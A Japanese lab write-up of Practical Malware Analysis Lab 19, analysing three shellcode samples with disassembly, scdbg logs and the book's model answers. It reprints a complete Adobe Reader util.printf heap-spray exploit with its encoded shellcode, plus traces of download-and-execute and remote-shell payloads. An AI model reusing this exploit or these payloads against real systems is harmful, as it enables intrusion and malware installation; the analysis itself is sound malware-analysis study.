PracticalMalwareAnalysis-Labs19 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab19のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 19-1

ファイル名ファイルの種類MD5ハッシュ値
Lab19-01.binシェルコード401F1C80D5F601D310C7014C1C0EB4EB

1. How is the shellcode encoded?

サブルーチン 0x208がシェルコードのデコード処理を担っているものと思われる。

サブルーチン 0x208がCALLされると、まずスタックトップの値をESIにPOPする。この一連のCALL・POP命令によりEIPがESIに保存されることになる 。(CALL命令はまず最初にEIPをスタックに保存するため)

EIPを取得したのは、シェルコードのアドレス位置を把握するため。CALL命令の直後のアドレスにエンコードされたシェルコードが埋め込まれていた。

seg000:0000021F E8 E4 FF FF FF                          call    sub_208
seg000:00000224 49                                      dec     ecx
seg000:00000225 4A                                      dec     edx
seg000:00000226 4F                                      dec     edi
seg000:00000227 46                                      inc     esi
seg000:00000228 49                                      dec     ecx
seg000:00000229 42                                      inc     edx
seg000:0000022A 4F                                      dec     edi
seg000:0000022B 4D                                      dec     ebp
seg000:0000022C 45                                      inc     ebp
seg000:0000022D 41                                      inc     ecx
seg000:0000022E 41                                      inc     ecx
seg000:0000022F 41                                      inc     ecx
seg000:00000230 41                                      inc     ecx
seg000:00000231 41                                      inc     ecx
seg000:00000232 41                                      inc     ecx
seg000:00000233 41                                      inc     ecx
seg000:00000234 4F                                      dec     edi
seg000:00000235 4A                                      dec     edx
seg000:00000236 44                                      inc     esp
seg000:00000237 44                                      inc     esp
seg000:00000238 41                                      inc     ecx
seg000:00000239 42                                      inc     edx
seg000:0000023A 41                                      inc     ecx
seg000:0000023B 41                                      inc     ecx
seg000:0000023C 41                                      inc     ecx

             ------ snip ------

以下の流れで上記のエンコードされたシェルコードをデコードする。

  1. LODSBにより、ESIからデータを1バイト ALにロードする。
  2. ALの値をDLにコピーする。
  3. DLの値から0x41減算する。結果はDLに格納される。
  4. DLの値を左へ4ビット シフトする。
  5. LODSBにより、ESIからデータを1バイト ALにロードする。
  6. ALの値から0x41減算する。結果はALに格納される。
  7. ALの値にDLの値を加算する。結果はALに格納される。
  8. STOSBにより、ALの値をEDIに格納する。つまりデコードされた値はEDIに格納される。
  9. ESIから397バイトのデータがデコードされるまで、1~8の処理を繰り返す。

2. Which functions does the shellcode manually import?

以下のscdbgコマンドを実行した。

scdbg -f Lab19-01.bin -api -s -1

以下は実行結果。

>scdbg -f Lab19-01.bin -api -s -1
Loaded 53e bytes from file Lab19-01.bin
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000

401313  LoadLibraryA(URLMON)
40132d  GetSystemDirectoryA( c:\windows\system32\ )
40134c  URLDownloadToFileA(http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe, c:\WINDOWS\system32\1.exe)
401358  WinExec(c:\WINDOWS\system32\1.exe)
40135b  GetCurrentProcess() = 1
401364  TerminateProcess(1) = 1

Stepcount 237493


Scanning main code body for api table looking for TerminateProcess...
Scanning stack for api table base=12edc0 sz=1000

        Found Api table at: 12fde8
                [x + 0] = URLDownloadToFileA
                [x + 4] = WinExec
                [x + 8] = GetCurrentProcess
                [x + c] = TerminateProcess
                [x + 10] = GetSystemDirectoryA
                [x + 14] = LoadLibraryA

上記より、Lab19-01.binは以下の関数をインポートすることが判明した。

  • URLDownloadToFileA
  • WinExec
  • GetCurrentProcess
  • TerminateProcess
  • GetSystemDirectoryA
  • LoadLibraryA

3. What network host does the shellcode communicate with?

先述したscdbgコマンドの実行結果より、Lab19-01.binはwww.practicalmalwareanalysis.comと通信することが判明した。

40134c  URLDownloadToFileA(http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe, c:\WINDOWS\system32\1.exe)

4. What filesystem residue does the shellcode leave?

先述したscdbgコマンドの実行結果より、Lab19-01.binは1.exeというファイルをc:\WINDOWS\system32に作成することが判明した。

401358  WinExec(c:\WINDOWS\system32\1.exe)

5. What does the shellcode do?

Lab19-01.binはhttp://www.practicalmalwareanalysis.com/shellcode/annoy_user.exeからファイルをダウンロードしてc:\WINDOWS\system32\1.exeとして保存・実行する。

Lab 19-2

ファイル名ファイルの種類MD5ハッシュ値
Lab19-02.exe32ビット EXE88ABAE59E3B1CF07BEF2FEB1EFEE0324

1. What process is injected with the shellcode?

このマルウェアはデフォルト・ブラウザのプロセスにインジェクションを行う。

まず、\http\shell\open\commandレジストリにアクセスし、デフォルトで使用されるブラウザ・アプリケーションを調べる。自分の解析環境ではInternet Explorer (iexplore.exe)がデフォルト・ブラウザに設定されている。

次にデフォルトのブラウザ・アプリケーションを起動する。(今回はiexplore.exe)

そして起動したブラウザ・アプリケーションのプロセス (iexplore.exe)にインジェクションを行う。

2. Where is the shellcode located?

シェルコードはアドレス0x407030に埋め込まれている。

3. How is the shellcode encoded?

アドレス0x407030のシェルコードをダンプして逆アセンブルしたところ、以下のコードが現れた。

※ x32dbgで任意のアドレス領域からデータをダンプするには、こちらの記事メモリ領域からペイロードをダンプするの項を参照。(ダンプした後に、0x407030以前の余剰データを削除する必要がある。)

00000000 EB11                            JMP 00000013
00000002 5F                              POP EDI
00000003 66688F01                        PUSH 018F
00000007 6659                            POP CX
00000009 B0E7                            MOV AL,E7
0000000B 3007                            XOR BYTE PTR [EDI],AL
0000000D 47                              INC EDI
0000000E 67E2FA                          LOOP 0000000B
00000011 EB05                            JMP 00000018
00000013 E8EAFFFFFF                      CALL 00000002
00000018 6E                              OUTS DX,BYTE PTR [ESI]
00000019 02660B                          ADD AH,BYTE PTR [ESI+0B]
0000001C C7                              ???
0000001D E7E7                            OUT E7,EAX
0000001F E70E                            OUT 0E,EAX
00000021 86E6                            XCHG AH,DH

             ------ snip ------

上記のコードはまず、CALL命令へとジャンプする。CALLが実行されるとスタックトップの値をEDIにPOPする。この一連のCALL・POP命令によりEIPがEDIに保存されることになる 。(CALL命令はまず最初にEIPをスタックに保存するため)

EIPを取得したのは、シェルコードのアドレス位置を把握するため。CALL命令の直後のアドレスにエンコードされたシェルコードが埋め込まれている。

続いて、0xE7という値をALにコピーして、ALとEDIの値をXORする。このことから、シェルコードは0xE7を鍵としてXORエンコードされていることが判明した。

4. Which function does the shellcode manually import?

以下のscdbgコマンドを実行した。

scdbg -f lab19-02_shellcode.bin -api -s -1

以下は実行結果。

Loaded 4fd0 bytes from file lab19-02_shellcode.bin
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000

4010dc  LoadLibraryA(ws2_32)
401104  WSAStartup(101)
401113  WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
401132  connect(h=42, host: 192.168.200.2 , port: 13330 ) = 42
40117d  GetCurrentProcess() = 1
401186  TerminateProcess(1) = 1

Stepcount 291400


Scanning main code body for api table looking for TerminateProcess...

        Found Api table at: 40118b
                [x + 0] = LoadLibraryA
                [x + 4] = CreateProcessA
                [x + 8] = TerminateProcess
                [x + c] = GetCurrentProcess
                [x + 10] = WSAStartup
                [x + 14] = WSASocketA
                [x + 18] = connect

上記より、以下の関数をインポートすることが判明した。

  • LoadLibraryA
  • CreateProcessA
  • TerminateProcess
  • GetCurrentProcess
  • WSAStartup
  • WSASocketA
  • connect

5. What network hosts does the shellcode communicate with?

先述したscdbgコマンドの実行結果より、ポート番号13330を通してIPアドレス192.168.200.2とTCP通信することが (WSASocketのtype(tp)フィールドに1が指定されているため) 判明した。

4010dc  LoadLibraryA(ws2_32)
401104  WSAStartup(101)
401113  WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
401132  connect(h=42, host: 192.168.200.2 , port: 13330 ) = 42

6. What does the shellcode do?

シェルコードがブラウザ・プロセスにインジェクトされると、ポート番号13330を通してIPアドレス192.168.200.2とTCP通信する。

192.168.200.2と、どのようなデータをやり取りするのかは分からなかった。(自分の解析環境ではシェルコードのインジェクションが失敗したため。)

Lab 19-3

ファイル名ファイルの種類MD5ハッシュ値
Lab19-03.pdfPDFDFEFB413804000372DCDA10BC0E07965

1. What exploit is used in this PDF?

Lab19-03.pdfをHexエディタで開いて眺めたところ、以下の不審なJavaScriptコードを発見した。

var payload = unescape("%ue589%uec81%u017c%u0000%u6ee8%u0001%u8e00%u0e4e%u72ec%ub3fe%u8316%ub5b9%ue678%u8f17%u337b%u8aca%u4f5b%uc703%ua5bf%u0017%uad7c%u7d9b%uacdf%uda08%u1676%ufa65%u1f10%u0a79%ufbe8%ufd97%uec0f%u0397%uf60c%ub922%u5e7c%ue1bb%u021b%u00c6%u6f00%u0010%u0000%u00a0%u6f00%u00b0%u4e00%u0014%u5600%u8b57%u2474%u310c%ufcff%uc031%u38ac%u74e0%uc10a%u0dcf%uc701%uefe9%uffff%u89ff%u5ff8%uc25e%u0004%u8b60%u246c%u8b24%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u2ae3%u8b49%u8b34%uee01%ue856%uffbb%uffff%u443b%u2824%uec75%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%ue9e8%u0002%u0000%uc031%u4489%u1c24%uc261%u0008%u3156%u64c0%u408b%u8530%u78c0%u8b0f%u0c40%u708b%uad1c%u408b%ue908%u0005%u0000%ufbe9%uffff%u5eff%u55c3%ue589%uec83%u6008%u758b%u890c%u8bf7%u1455%u4d8b%uac10%ud030%uc2fe%ue2aa%u6af8%u6a00%u6a02%u6a04%u6a00%u6803%u0000%u4000%u458b%u5018%u5d8b%uff08%u1853%u4589%ufffc%u1075%u75ff%u500c%u73ff%ue828%u000d%u0000%u75ff%ufffc%u2c53%u8961%u5dec%u14c2%u5500%ue589%uc031%u5050%u8d60%ufc75%u7d8d%u8bf8%u1055%u5503%u8bfc%u1445%u452b%u68fc%u0000%u0000%u5057%uff52%u0c75%u55ff%u8508%u74c0%u8b0b%u0107%u8b06%u3b16%u1455%ud772%u8961%u5dec%u10c2%u5e00%u7589%u89ec%u89f7%ue8f3%uff42%uffff%u4589%ub9fc%u000e%u0000%u50ad%u75ff%ue8fc%ufee4%uffff%ue2ab%u68f3%u336c%u0032%u7368%u6568%u896c%u50e0%u13ff%uad91%u5150%uc9e8%ufffe%uabff%uf631%u5d8b%u81ec%u04c6%u0000%u8d00%uf845%u5650%u53ff%u3b1c%u3c43%ued75%u7589%u31f8%uffd2%u4473%uff52%u3053%uc085%u840f%u0131%u0000%u4589%u31f4%u52d2%uff52%u4073%u75ff%ufff8%u2053%u73ff%uff44%uf475%u75ff%ufff8%u2473%u3ae8%uffff%u31ff%u8dc0%udcbd%ufffe%ub9ff%u0040%u0000%uabf3%ubd8d%ufedc%uffff%u6857%u0100%u0000%u53ff%u3110%u8dc0%udcbd%ufffe%uf2ff%u4fae%u7d89%uc7e4%u6607%u6f6f%uc72e%u0447%u7865%u0065%u5d8b%u8dec%udc85%ufffe%u50ff%u4a68%u0000%uff00%u4473%u75ff%u53f4%u94e8%ufffe%u31ff%u8dc0%u88bd%ufffe%ub9ff%u0015%u0000%uabf3%u958d%ufe88%uffff%u8d52%u9895%ufffe%u52ff%u5050%u6850%uffff%uffff%u5050%u8d50%udc85%ufffe%u50ff%u53ff%uff04%uf475%u53ff%u3134%u8bd2%uec5d%u73ff%u524c%u53ff%u8530%u74c0%u8974%uf045%ud231%u5252%u73ff%uff48%uf875%u53ff%uff20%u4c73%u75ff%ufff0%uf875%u73ff%ue824%ufe7d%uffff%u458b%uc7e4%u6200%u7261%uc72e%u0440%u6470%u0066%u858d%ufedc%uffff%u6a50%u8b4a%uec5d%u73ff%uff4c%uf075%ue853%ufe03%uffff%uc931%u858d%ufe98%uffff%u00c7%u706f%u6e65%u40c6%u0004%u0568%u0000%u5100%u8d51%udc85%ufffe%u50ff%u858d%ufe98%uffff%u5150%u53ff%uff38%u0c53%u0068%u0000%u5000%u53ff%u9008%u9090");
var version = app.viewerVersion;
app.alert("Running PDF JavaScript!");
if (version >= 8 && version < 9) {
    var payload;
    nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
    heapblock = nop + payload;
    bigblock = unescape("%u0A0A%u0A0A");
    headersize = 20;
    spray = headersize+heapblock.length;
    while (bigblock.length<spray) {
        bigblock+=bigblock;
    }
    fillblock = bigblock.substring(0, spray);
    block = bigblock.substring(0, bigblock.length-spray);
    while(block.length+spray < 0x40000) {
        block = block+block+fillblock;
    }
    mem = new Array();
    for (i=0;i<1400;i++) {
        mem[i] = block + heapblock;
    }
    var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
    util.printf("%45000f",num);
} else {
    app.alert("Unknown PDF version!");
}

Heap Sprayを行い、エンコードされたシェルコードをヒープ領域に書き込む模様。

2. How is the shellcode encoded?

Lab19-03.pdfに埋め込まれているシェルコードはJavaScriptのescapeによってエンコードされている。

シェルコードを抽出するため、以下のpythonスクリプトを書いた。

#!/usr/bin/env python

'''
A script to extract shellcode from Lab19-03.pdf
'''

import binascii

payload = "%ue589%uec81%u017c%u0000%u6ee8%u0001%u8e00%u0e4e%u72ec%ub3fe%u8316%ub5b9%ue678%u8f17%u337b%u8aca%u4f5b%uc703%ua5bf%u0017%uad7c%u7d9b%uacdf%uda08%u1676%ufa65%u1f10%u0a79%ufbe8%ufd97%uec0f%u0397%uf60c%ub922%u5e7c%ue1bb%u021b%u00c6%u6f00%u0010%u0000%u00a0%u6f00%u00b0%u4e00%u0014%u5600%u8b57%u2474%u310c%ufcff%uc031%u38ac%u74e0%uc10a%u0dcf%uc701%uefe9%uffff%u89ff%u5ff8%uc25e%u0004%u8b60%u246c%u8b24%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u2ae3%u8b49%u8b34%uee01%ue856%uffbb%uffff%u443b%u2824%uec75%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%ue9e8%u0002%u0000%uc031%u4489%u1c24%uc261%u0008%u3156%u64c0%u408b%u8530%u78c0%u8b0f%u0c40%u708b%uad1c%u408b%ue908%u0005%u0000%ufbe9%uffff%u5eff%u55c3%ue589%uec83%u6008%u758b%u890c%u8bf7%u1455%u4d8b%uac10%ud030%uc2fe%ue2aa%u6af8%u6a00%u6a02%u6a04%u6a00%u6803%u0000%u4000%u458b%u5018%u5d8b%uff08%u1853%u4589%ufffc%u1075%u75ff%u500c%u73ff%ue828%u000d%u0000%u75ff%ufffc%u2c53%u8961%u5dec%u14c2%u5500%ue589%uc031%u5050%u8d60%ufc75%u7d8d%u8bf8%u1055%u5503%u8bfc%u1445%u452b%u68fc%u0000%u0000%u5057%uff52%u0c75%u55ff%u8508%u74c0%u8b0b%u0107%u8b06%u3b16%u1455%ud772%u8961%u5dec%u10c2%u5e00%u7589%u89ec%u89f7%ue8f3%uff42%uffff%u4589%ub9fc%u000e%u0000%u50ad%u75ff%ue8fc%ufee4%uffff%ue2ab%u68f3%u336c%u0032%u7368%u6568%u896c%u50e0%u13ff%uad91%u5150%uc9e8%ufffe%uabff%uf631%u5d8b%u81ec%u04c6%u0000%u8d00%uf845%u5650%u53ff%u3b1c%u3c43%ued75%u7589%u31f8%uffd2%u4473%uff52%u3053%uc085%u840f%u0131%u0000%u4589%u31f4%u52d2%uff52%u4073%u75ff%ufff8%u2053%u73ff%uff44%uf475%u75ff%ufff8%u2473%u3ae8%uffff%u31ff%u8dc0%udcbd%ufffe%ub9ff%u0040%u0000%uabf3%ubd8d%ufedc%uffff%u6857%u0100%u0000%u53ff%u3110%u8dc0%udcbd%ufffe%uf2ff%u4fae%u7d89%uc7e4%u6607%u6f6f%uc72e%u0447%u7865%u0065%u5d8b%u8dec%udc85%ufffe%u50ff%u4a68%u0000%uff00%u4473%u75ff%u53f4%u94e8%ufffe%u31ff%u8dc0%u88bd%ufffe%ub9ff%u0015%u0000%uabf3%u958d%ufe88%uffff%u8d52%u9895%ufffe%u52ff%u5050%u6850%uffff%uffff%u5050%u8d50%udc85%ufffe%u50ff%u53ff%uff04%uf475%u53ff%u3134%u8bd2%uec5d%u73ff%u524c%u53ff%u8530%u74c0%u8974%uf045%ud231%u5252%u73ff%uff48%uf875%u53ff%uff20%u4c73%u75ff%ufff0%uf875%u73ff%ue824%ufe7d%uffff%u458b%uc7e4%u6200%u7261%uc72e%u0440%u6470%u0066%u858d%ufedc%uffff%u6a50%u8b4a%uec5d%u73ff%uff4c%uf075%ue853%ufe03%uffff%uc931%u858d%ufe98%uffff%u00c7%u706f%u6e65%u40c6%u0004%u0568%u0000%u5100%u8d51%udc85%ufffe%u50ff%u858d%ufe98%uffff%u5150%u53ff%uff38%u0c53%u0068%u0000%u5000%u53ff%u9008%u9090"

payload = payload.split('%u')
littleendian_payload = ''

# reconstruct payload into little endian byte order. (e589 -> 89e5)
for i in range(1, len(payload)):
	littleendian_payload += payload[i][2:4] + payload[i][0:2] 

shellcode = bytearray(binascii.unhexlify(littleendian_payload))

with open('shellcode_raw.bin', 'wb') as fout:
	fout.write(shellcode)
print('check out ' + str('shellcode_raw.bin'))

上記のスクリプトはシェルコードをunescapeして(実際には%uを除去するだけ) リトルエンディアンのバイトオーダーに変換した上で、shellcode_raw.binとして抽出する。

※後日、CyberChefのSwap endiannessでバイトオーダーを手っ取り早く変換できることを知った。

3. Which functions does the shellcode manually import?

抽出したシェルコードを以下のscdbgコマンドで解析してみた。

scdbg -f shellcode_raw.bin -api -fopen Lab19-03.pdf -s -1

このシェルコードは実行時にLab19-03.pdfのファイル・ハンドルが存在するか確認するので (GetFileSizeで50690 (0xc602) バイトのサイズのファイル・ハンドルが存在するか確認する。50690バイトはLab19-03.pdfのファイル・サイズである。)、fopenオプションでLab19-03.pdfを指定する必要がある。

以下は実行結果。

>scdbg -f shellcode_raw.bin -api -fopen Lab19-03.pdf -s -1
fopen(Lab19-03.pdf) = 7c
Loaded 322 bytes from file shellcode_raw.bin
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000

4011ac  LoadLibraryA(shell32)
4011c9  GetFileSize(4, 12fdf8) = c602
4011da  GlobalAlloc(sz=a000) = 600000
4011f2  SetFilePointer(hFile=4, dist=106f, 0, FILE_BEGIN) = 0
401165  ReadFile(hFile=4, buf=600000, numBytes=a000) = 0
401221  GetTempPathA(len=100, buf=12fcdc) = 21
40111e  CreateFileA(C:\Users\user\AppData\Local\Temp\foo.exe) = 4
401165  WriteFile(h=4, buf=600000, len=a000, lpw=12fc18, lap=0) = 1
401136  CloseHandle(4)
401289  CreateProcessA( , C:\Users\user\AppData\Local\Temp\foo.exe ) = 0x1269
40128f  GlobalFree(600000) = 0
40129b  GlobalAlloc(sz=144e) = 60a000
4012af  SetFilePointer(hFile=4, dist=b06f, 0, FILE_BEGIN) = 0
401165  ReadFile(hFile=4, buf=60a000, numBytes=144e) = 0
40111e  CreateFileA(C:\Users\user\AppData\Local\Temp\bar.pdf) = 8
401165  WriteFile(h=8, buf=60a000, len=144e, lpw=12fc18, lap=0) = 1
401136  CloseHandle(8)
401313  ShellExecuteA(C:\Users\user\AppData\Local\Temp\bar.pdf, )
401316  GetCurrentProcess() = 1
40131f  TerminateProcess(1) = 1

Stepcount 1133530


Scanning main code body for api table looking for TerminateProcess...

        Found Api table at: 40100d
                [x + 0] = LoadLibraryA
                [x + 4] = CreateProcessA
                [x + 8] = TerminateProcess
                [x + c] = GetCurrentProcess
                [x + 10] = GetTempPathA
                [x + 14] = SetCurrentDirectoryA
                [x + 18] = CreateFileA
                [x + 1c] = GetFileSize
                [x + 20] = SetFilePointer
                [x + 24] = ReadFile
                [x + 28] = WriteFile
                [x + 2c] = CloseHandle
                [x + 30] = GlobalAlloc
                [x + 34] = GlobalFree
                [x + 38] = ShellExecuteA
Scanning memory allocation base=600000, sz=2600
Scanning memory allocation base=60a000, sz=144e

上記より、以下の関数をインポートすることが判明した。

  • LoadLibraryA
  • CreateProcessA
  • TerminateProcess
  • GetCurrentProcess
  • GetTempPathA
  • SetCurrentDirectoryA
  • CreateFileA
  • GetFileSize
  • SetFilePointer
  • ReadFile
  • WriteFile
  • CloseHandle
  • GlobalAlloc
  • GlobalFree
  • ShellExecuteA

4. What filesystem residue does the shellcode leave?

このシェルコードは一時ディレクトリに以下のファイルを作成する。

  • C:\Users\user\AppData\Local\Temp\foo.exe
  • C:\Users\user\AppData\Local\Temp\bar.pdf
40111e  CreateFileA(C:\Users\user\AppData\Local\Temp\foo.exe) = 4
40111e  CreateFileA(C:\Users\user\AppData\Local\Temp\bar.pdf) = 8

5. What does the shellcode do?

このシェルコードは一時ディレクトリに以下のファイルを作成して実行する。

  • C:\Users\user\AppData\Local\Temp\foo.exe
  • C:\Users\user\AppData\Local\Temp\bar.pdf
401289  CreateProcessA( , C:\Users\user\AppData\Local\Temp\foo.exe ) = 0x1269
401313  ShellExecuteA(C:\Users\user\AppData\Local\Temp\bar.pdf, )

自分の解析環境では脆弱なAdobeがインストールされておらず、上記の2つのファイルは作成されなかったため、ファイルの詳細については不明。
抽出したシェルコードをscdbgにロードしてWriteFileにブレークポイントをセットし、書き込まれるデータを確認してみたが、詳細は分からなかった。以下は WriteFileによって書き込まれるデータのバッファをダンプしたもの。

>scdbg -f shellcode_raw.bin -fopen Lab19-03.pdf -s -1 -bp WriteFile
fopen(Lab19-03.pdf) = 7c
Loaded 322 bytes from file shellcode_raw.bin
Breakpoint 0 set at 7c810e27
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000

4011ac  LoadLibraryA(shell32)
4011c9  GetFileSize(4, 12fdf8) = c602
4011da  GlobalAlloc(sz=a000) = 600000
4011f2  SetFilePointer(hFile=4, dist=106f, 0, FILE_BEGIN) = 0
401165  ReadFile(hFile=4, buf=600000, numBytes=a000) = 0
401221  GetTempPathA(len=100, buf=12fcdc) = 21
40111e  CreateFileA(C:\Users\user\AppData\Local\Temp\foo.exe) = 4
        Breakpoint 0 hit at: 7c810e27
401165  WriteFile(h=4, buf=600000, len=a000, lpw=12fc18, lap=0) = 1
401165   85C0                            test eax,eax            step: 1107336  foffset: 165
eax=1         ecx=0         edx=600000    ebx=40100d
esp=12fbf8    ebp=12fc20    esi=12fc1c    edi=12fc18     EFL 4 P


dbg> Enter hex base to dump: (hex/reg) 0x600000
600000
Enter hex size: (hex/reg) 0xa000
a000

          0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
600000   4a 4b 4c 4d 4e 4f 50 51  52 53 54 55 56 57 58 59      JKLMNOPQRSTUVWXY
600010   5a 5b 5c 5d 5e 5f 60 61  62 63 64 65 66 67 68 69      Z[\]^_`abcdefghi
600020   6a 6b 6c 6d 6e 6f 70 71  72 73 74 75 76 77 78 79      jklmnopqrstuvwxy
600030   7a 7b 7c 7d 7e 7f 80 81  82 83 84 85 86 87 88 89      z...............
600040   8a 8b 8c 8d 8e 8f 90 91  92 93 94 95 96 97 98 99      ................
600050   9a 9b 9c 9d 9e 9f a0 a1  a2 a3 a4 a5 a6 a7 a8 a9      ................
600060   aa ab ac ad ae af b0 b1  b2 b3 b4 b5 b6 b7 b8 b9      ................
600070   ba bb bc bd be bf c0 c1  c2 c3 c4 c5 c6 c7 c8 c9      ................
600080   ca cb cc cd ce cf d0 d1  d2 d3 d4 d5 d6 d7 d8 d9      ................
600090   da db dc dd de df e0 e1  e2 e3 e4 e5 e6 e7 e8 e9      ................
6000a0   ea eb ec ed ee ef f0 f1  f2 f3 f4 f5 f6 f7 f8 f9      ................
6000b0   fa fb fc fd fe ff 00 01  02 03 04 05 06 07 08 09      ................
6000c0   0a 0b 0c 0d 0e 0f 10 11  12 13 14 15 16 17 18 19      ...........§▬↨↑↓
6000d0   1a 1b 1c 1d 1e 1f 20 21  22 23 24 25 26 27 28 29      →←∟↔▲▼ !"#$%&'()
6000e0   2a 2b 2c 2d 2e 2f 30 31  32 33 34 35 36 37 38 39      *+,-./0123456789
6000f0   3a 3b 3c 3d 3e 3f 40 41  42 43 44 45 46 47 48 49      :;<=>?@ABCDEFGHI
600100   4a 4b 4c 4d 4e 4f 50 51  52 53 54 55 56 57 58 59      JKLMNOPQRSTUVWXY
600110   5a 5b 5c 5d 5e 5f 60 61  62 63 64 65 66 67 68 69      Z[\]^_`abcdefghi
600120   6a 6b 6c 6d 6e 6f 70 71  72 73 74 75 76 77 78 79      jklmnopqrstuvwxy
600130   7a 7b 7c 7d 7e 7f 80 81  82 83 84 85 86 87 88 89      z...............
600140   8a 8b 8c 8d 8e 8f 90 91  92 93 94 95 96 97 98 99      ................
600150   9a 9b 9c 9d 9e 9f a0 a1  a2 a3 a4 a5 a6 a7 a8 a9      ................
600160   aa ab ac ad ae af b0 b1  b2 b3 b4 b5 b6 b7 b8 b9      ................

  ---- snip ----

dbg>
401136  CloseHandle(4)
401289  CreateProcessA( , C:\Users\user\AppData\Local\Temp\foo.exe ) = 0x1269
40128f  GlobalFree(600000) = 0
40129b  GlobalAlloc(sz=144e) = 60a000
4012af  SetFilePointer(hFile=4, dist=b06f, 0, FILE_BEGIN) = 0
401165  ReadFile(hFile=4, buf=60a000, numBytes=144e) = 0
40111e  CreateFileA(C:\Users\user\AppData\Local\Temp\bar.pdf) = 8
        Breakpoint 0 hit at: 7c810e27
401165  WriteFile(h=8, buf=60a000, len=144e, lpw=12fc18, lap=0) = 1
401165   85C0                            test eax,eax            step: 1133492  foffset: 165
eax=1         ecx=0         edx=60a000    ebx=40100d
esp=12fbf8    ebp=12fc20    esi=12fc1c    edi=12fc18     EFL 4 P


dbg> Enter hex base to dump: (hex/reg) 0x60a000
60a000
Enter hex size: (hex/reg) 0x144e
144e

          0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
60a000   4a 4b 4c 4d 4e 4f 50 51  52 53 54 55 56 57 58 59      JKLMNOPQRSTUVWXY
60a010   5a 5b 5c 5d 5e 5f 60 61  62 63 64 65 66 67 68 69      Z[\]^_`abcdefghi
60a020   6a 6b 6c 6d 6e 6f 70 71  72 73 74 75 76 77 78 79      jklmnopqrstuvwxy
60a030   7a 7b 7c 7d 7e 7f 80 81  82 83 84 85 86 87 88 89      z...............
60a040   8a 8b 8c 8d 8e 8f 90 91  92 93 94 95 96 97 98 99      ................
60a050   9a 9b 9c 9d 9e 9f a0 a1  a2 a3 a4 a5 a6 a7 a8 a9      ................
60a060   aa ab ac ad ae af b0 b1  b2 b3 b4 b5 b6 b7 b8 b9      ................
60a070   ba bb bc bd be bf c0 c1  c2 c3 c4 c5 c6 c7 c8 c9      ................
60a080   ca cb cc cd ce cf d0 d1  d2 d3 d4 d5 d6 d7 d8 d9      ................
60a090   da db dc dd de df e0 e1  e2 e3 e4 e5 e6 e7 e8 e9      ................
60a0a0   ea eb ec ed ee ef f0 f1  f2 f3 f4 f5 f6 f7 f8 f9      ................
60a0b0   fa fb fc fd fe ff 00 01  02 03 04 05 06 07 08 09      ................
60a0c0   0a 0b 0c 0d 0e 0f 10 11  12 13 14 15 16 17 18 19      ...........§▬↨↑↓
60a0d0   1a 1b 1c 1d 1e 1f 20 21  22 23 24 25 26 27 28 29      →←∟↔▲▼ !"#$%&'()
60a0e0   2a 2b 2c 2d 2e 2f 30 31  32 33 34 35 36 37 38 39      *+,-./0123456789
60a0f0   3a 3b 3c 3d 3e 3f 40 41  42 43 44 45 46 47 48 49      :;<=>?@ABCDEFGHI
60a100   4a 4b 4c 4d 4e 4f 50 51  52 53 54 55 56 57 58 59      JKLMNOPQRSTUVWXY
60a110   5a 5b 5c 5d 5e 5f 60 61  62 63 64 65 66 67 68 69      Z[\]^_`abcdefghi
60a120   6a 6b 6c 6d 6e 6f 70 71  72 73 74 75 76 77 78 79      jklmnopqrstuvwxy
60a130   7a 7b 7c 7d 7e 7f 80 81  82 83 84 85 86 87 88 89      z...............
60a140   8a 8b 8c 8d 8e 8f 90 91  92 93 94 95 96 97 98 99      ................
60a150   9a 9b 9c 9d 9e 9f a0 a1  a2 a3 a4 a5 a6 a7 a8 a9      ................
60a160   aa ab ac ad ae af b0 b1  b2 b3 b4 b5 b6 b7 b8 b9      ................
60a170   ba bb bc bd be bf c0 c1  c2 c3 c4 c5 c6 c7 c8 c9      ................
60a180   ca cb cc cd ce cf d0 d1  d2 d3 d4 d5 d6 d7 d8 d9      ................
60a190   da db dc dd de df e0 e1  e2 e3 e4 e5 e6 e7 e8 e9      ................

  ---- snip ----

模範解答

Lab 19-1

1. The shellcode is stored with an alphabetic encoding; each payload byte is stored in the low nibble of two encoded bytes.

2. The shellcode resolves the following functions:

  • LoadLibraryA
  • GetSystemDirectoryA
  • TerminateProcess
  • GetCurrentProcess
  • WinExec
  • URLDownloadToFileA

3. The shellcode downloads this URL:

http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe

4. The shellcode writes %SystemRoot%\System32\1.exe and executes it.

5. The shellcode downloads a file from a URL stored within the encoded payload, writes it to disk, and executes it.

Lab 19-2

1. The program process-injects the default web browser, Internet Explorer.

2. The shellcode buffer is located at 0x407030.

3. The shellcode is XOR'ed with the byte 0xe7.

4. The shellcode manually imports the following functions:

  • LoadLibraryA
  • CreateProcessA
  • TerminateProcess
  • GetCurrentProcess
  • WSAStartup
  • WSASocketA
  • connect

5. The shellcode connects to IP 192.168.200.2 on TCP port 13330.

6. The shellcode provides a remote shell (cmd.exe).

Lab 19-3

1. The PDF contains example of CVE-2008-2992: buffer overflow related to Adobe Reader's util.printf JavaScript implementation.

2. The shellcode is encoded using JavaScript's percent-encoding and is stored along with the JavaScript in the PDF.

3. The shellcode manually imports the following functions:

  • LoadLibraryA
  • CreateProcessA
  • TerminateProcess
  • GetCurrentProcess
  • GetTempPathA
  • SetCurrentDirectoryA
  • CreateFileA
  • GetFileSize
  • SetFilePointer
